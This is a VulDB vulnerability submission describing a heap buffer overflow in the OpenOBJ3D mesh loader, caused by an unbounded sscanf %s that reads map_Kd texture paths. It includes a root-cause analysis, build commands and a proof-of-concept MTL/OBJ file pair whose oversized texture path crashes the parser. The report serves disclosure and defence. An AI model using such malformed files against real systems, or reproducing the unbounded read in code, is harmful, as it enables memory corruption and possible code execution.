Invia #1084237: imamhs (Md Imam Hossain) OpenOBJ3D 7c155f9 (initial commit, 2020-06-07) Heap Buffer Overflow via Unbounded sscanf %s in map_Kd Parsinginformazioni

Titoloimamhs (Md Imam Hossain) OpenOBJ3D 7c155f9 (initial commit, 2020-06-07) Heap Buffer Overflow via Unbounded sscanf %s in map_Kd Parsing
Descrizionefound by Simon Huang([email protected]) https://github.com/imamhs/OpenOBJ3D.git The ooj_loadmesh() function in src/openobj3d.c (line 97) uses sscanf(scanline, "map_Kd %s", mg.m[mg.slot-1].texture) with an unbounded %s format specifier to read a texture file path from an MTL file into the OOJ_Material.texture[128] buffer. An attacker providing a texture path longer than 127 bytes causes a heap buffer overflow that overwrites the texture_id (long) field at the end of the struct and adjacent heap memory. A PoC using a 300-character texture path successfully triggers heap corruption with “corrupted size vs. prev_size” abort. Code Location File: src/openobj3d.c Line: 97 Function: ooj_loadmesh() Vulnerable source code (openobj3d.c:97): sscanf(scanline, "map_Kd %s", mg.m[mg.slot-1].texture); // texture is char[128], %s has no width limit OOJ_Material struct layout (openobj3d.h:57-63): struct ooj_material { OOJ_Color ambient, diffuse, specular; // 36 bytes char name[128]; // offset 36 char texture[128]; // offset 164 — target buffer long texture_id; // offset 292 — first overflow target }; // sizeof = 304 (with padding) Root Cause Analysis 1.sscanf uses the %s format specifier (no width limit) to read the texture path from the MTL file into mg.m[mg.slot-1].texture[128] 2.texture[128] is the second-to-last field in the OOJ_Material struct 3.An attacker providing a texture path > 127 bytes causes overflow of texture[128] 4.Overflow bytes first overwrite the texture_id (long) field at the end of the struct 5.Further overflow corrupts adjacent heap memory and heap metadata 6.glibc detects the heap metadata corruption → “corrupted size vs. prev_size” → abort Data Flow Analysis MTL file → scanline[1024] (via fgets) ↓ sscanf(scanline, "map_Kd %s", mg.m[mg.slot-1].texture) ↓ texture[128] buffer (in heap-allocated OOJ_Material struct) ↓ Texture path > 127 bytes: overflow past texture[128] ↓ Overwrites texture_id (long) → adjacent heap memory → heap metadata ↓ HEAP BUFFER OVERFLOW → glibc "corrupted size vs. prev_size" → abort Taint source: Texture path string in MTL file Taint propagation: sscanf %s (unbounded) → texture[128] buffer Taint sink: Overwrite of texture_id and heap metadata Exploitation Conditions Attack Vector: Malicious MTL file — attacker provides a texture path longer than 127 bytes No authentication required: Simply loading an OBJ file that references the malicious MTL file triggers the vulnerability No special privileges required: Any process that parses the OBJ/MTL files is affected Maximum overflow: ~889 bytes (scanline[1024] - “map_Kd” prefix - texture[128]) Exploitation potential: Heap metadata corruption → potential heap exploitation / code execution Severity: High Reproduction Steps Environment: git clone https://github.com/imamhs/OpenOBJ3D.git cd OpenOBJ3D Compile: gcc -g -O0 -I src -o harness harness.c src/openobj3d.c Trigger: ./harness poc3b_mapkd_overflow # Uses poc3b_mapkd_overflow.mtl (300-char texture path) + poc3b_mapkd_overflow.obj # Expected: "corrupted size vs. prev_size" / Aborted (exit code 134) PoC Script/Code poc3b_mapkd_overflow.mtl (300-character texture path): newmtl mat1 Ka 1.0 1.0 1.0 Kd 1.0 1.0 1.0 Ks 0.0 0.0 0.0 map_Kd TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT poc3b_mapkd_overflow.obj: v 0.0 0.0 0.0 v 1.0 0.0 0.0 v 0.0 1.0 0.0 vt 0.0 0.0 vt 1.0 0.0 vt 0.0 1.0 vn 0.0 0.0 1.0 vn 0.0 0.0 1.0 vn 0.0 0.0 1.0 usemtl mat1 f 1/1/1 2/2/2 3/3/3 Crash Verification Results --- PoC 3b: map_Kd sscanf %s overflow (300 chars) --- corrupted size vs. prev_size bash: line 1: 1084589 Aborted (core dumped) ./harness final_pocs/poc3b_mapkd_overflow 2>&1 Exit: 134 Impact Attack Vector: Malicious MTL file (referenced by an OBJ file) Maximum Overflow: ~889 bytes Impact: Heap metadata corruption → glibc “corrupted size vs. prev_size” → abort Exploitation Potential: Heap metadata corruption can be further exploited for code execution Severity: High
Utente
 hl4x7eq28 (UID 89020)
Sottomissione10/11/2026 09:36 (24 giorni fa)
Moderazione04/12/2026 09:51 (24 days later)
StatoAccettato
Voce VulDB449635 [imamhs OpenOBJ3D fino a f5a522c409428de7bf68844cf8951522e3d09485 OBJ MTL Mesh Loader src/openobj3d.c ooj_loadmesh buffer overflow]
Punti17

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!